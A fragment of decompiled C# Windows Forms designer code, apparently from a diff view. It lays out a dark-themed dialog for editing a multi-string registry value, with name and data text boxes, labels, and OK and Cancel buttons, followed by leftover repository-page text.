this.cancelButton.Location = new Point(303, 405);
|
||||
this.cancelButton.Margin = new Padding(2, 2, 2, 2);
|
||||
this.cancelButton.Name = "cancelButton";
|
||||
this.cancelButton.Size = new Size(56, 25);
|
||||
this.cancelButton.TabIndex = 17;
|
||||
this.cancelButton.Text = "Cancel";
|
||||
this.cancelButton.Theme = MetroThemeStyle.Dark;
|
||||
this.cancelButton.UseSelectable = true;
|
||||
this.cancelButton.Click += new EventHandler(this.cancelButton_Click);
|
||||
this.valueNameTxtBox.CustomButton.Image = (Image) null;
|
||||
this.valueNameTxtBox.CustomButton.Location = new Point(242, 1);
|
||||
this.valueNameTxtBox.CustomButton.Margin = new Padding(2, 2, 2, 2);
|
||||
this.valueNameTxtBox.CustomButton.Name = "";
|
||||
this.valueNameTxtBox.CustomButton.Size = new Size(13, 14);
|
||||
this.valueNameTxtBox.CustomButton.Style = MetroColorStyle.Blue;
|
||||
this.valueNameTxtBox.CustomButton.TabIndex = 1;
|
||||
this.valueNameTxtBox.CustomButton.Theme = MetroThemeStyle.Light;
|
||||
this.valueNameTxtBox.CustomButton.UseSelectable = true;
|
||||
this.valueNameTxtBox.CustomButton.Visible = false;
|
||||
this.valueNameTxtBox.Lines = new string[0];
|
||||
this.valueNameTxtBox.Location = new Point(17, 75);
|
||||
this.valueNameTxtBox.Margin = new Padding(2, 2, 2, 2);
|
||||
this.valueNameTxtBox.MaxLength = (int) short.MaxValue;
|
||||
this.valueNameTxtBox.Name = "valueNameTxtBox";
|
||||
this.valueNameTxtBox.PasswordChar = char.MinValue;
|
||||
this.valueNameTxtBox.ScrollBars = ScrollBars.None;
|
||||
this.valueNameTxtBox.SelectedText = "";
|
||||
this.valueNameTxtBox.SelectionLength = 0;
|
||||
this.valueNameTxtBox.SelectionStart = 0;
|
||||
this.valueNameTxtBox.ShortcutsEnabled = true;
|
||||
this.valueNameTxtBox.Size = new Size(340, 19);
|
||||
this.valueNameTxtBox.TabIndex = 16 /*0x10*/;
|
||||
this.valueNameTxtBox.Theme = MetroThemeStyle.Dark;
|
||||
this.valueNameTxtBox.UseSelectable = true;
|
||||
this.valueNameTxtBox.UseStyleColors = true;
|
||||
this.valueNameTxtBox.WaterMarkColor = Color.FromArgb(109, 109, 109);
|
||||
this.valueNameTxtBox.WaterMarkFont = new Font("Segoe UI", 12f, FontStyle.Italic, GraphicsUnit.Pixel);
|
||||
this.metroLabel2.AutoSize = true;
|
||||
this.metroLabel2.Location = new Point(15, 96 /*0x60*/);
|
||||
this.metroLabel2.Margin = new Padding(2, 0, 2, 0);
|
||||
this.metroLabel2.Name = "metroLabel2";
|
||||
this.metroLabel2.Size = new Size(72, 19);
|
||||
this.metroLabel2.TabIndex = 20;
|
||||
this.metroLabel2.Text = "Value data:";
|
||||
this.metroLabel2.Theme = MetroThemeStyle.Dark;
|
||||
this.metroLabel2.UseStyleColors = true;
|
||||
this.metroLabel1.AutoSize = true;
|
||||
this.metroLabel1.Location = new Point(16 /*0x10*/, 56);
|
||||
this.metroLabel1.Margin = new Padding(2, 0, 2, 0);
|
||||
this.metroLabel1.Name = "metroLabel1";
|
||||
this.metroLabel1.Size = new Size(79, 19);
|
||||
this.metroLabel1.TabIndex = 19;
|
||||
this.metroLabel1.Text = "Value name:";
|
||||
this.metroLabel1.Theme = MetroThemeStyle.Dark;
|
||||
this.metroLabel1.UseStyleColors = true;
|
||||
this.AutoScaleDimensions = new SizeF(6f, 13f);
|
||||
this.AutoScaleMode = AutoScaleMode.Font;
|
||||
this.ClientSize = new Size(379, 476);
|
||||
this.Controls.Add((Control) this.metroLabel2);
|
||||
this.Controls.Add((Control) this.metroLabel1);
|
||||
this.Controls.Add((Control) this.okButton);
|
||||
this.Controls.Add((Control) this.cancelButton);
|
||||
this.Controls.Add((Control) this.valueNameTxtBox);
|
||||
this.Controls.Add((Control) this.valueDataTxtBox);
|
||||
this.ForeColor = Color.Yellow;
|
||||
this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
|
||||
this.Name = nameof (FormRegValueEditMultiString);
|
||||
this.Padding = new Padding(15, 49, 15, 16 /*0x10*/);
|
||||
this.Text = nameof (FormRegValueEditMultiString);
|
||||
this.Theme = MetroThemeStyle.Dark;
|
||||
this.Load += new EventHandler(this.FormRegValueEditMultiString_Load);
|
||||
this.ResumeLayout(false);
|
||||
this.PerformLayout();
|
||||
}
|
||||
}
|
||||
}
|
||||
File diff suppressed because one or more lines are too long
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user